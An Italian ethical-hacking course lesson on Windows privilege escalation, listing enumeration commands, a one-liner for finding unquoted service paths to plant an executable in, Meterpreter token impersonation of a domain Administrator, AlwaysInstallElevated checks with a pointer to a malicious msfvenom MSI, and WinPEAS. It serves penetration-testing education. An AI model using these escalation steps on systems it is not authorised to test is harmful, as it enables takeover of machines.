Corso Hacking Etico #10: Privilege Escalation Windows

Windows Privilege Escalation

Windows ha le sue peculiarita. Token impersonation, unquoted service paths, registro scrivibile.

Enumerazione

systeminfo
whoami /all
net user && net localgroup administrators
wmic service get name,pathname,startmode

Unquoted Service Paths

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "\"" | findstr /i /v "C:\Windows"
# Path: C:\Program Files\My Service\app.exe
# Windows cerca: C:\Program.exe prima!
# Metti il tuo exe li

Token Impersonation

# Da Meterpreter:
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\Administrator"

AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Se entrambi a 1: crea MSI malevolo con msfvenom

WinPEAS

.\winPEASx64.exe
# Cerca sezioni evidenziate in rosso

Conclusione

Nel Modulo 11: post-exploitation.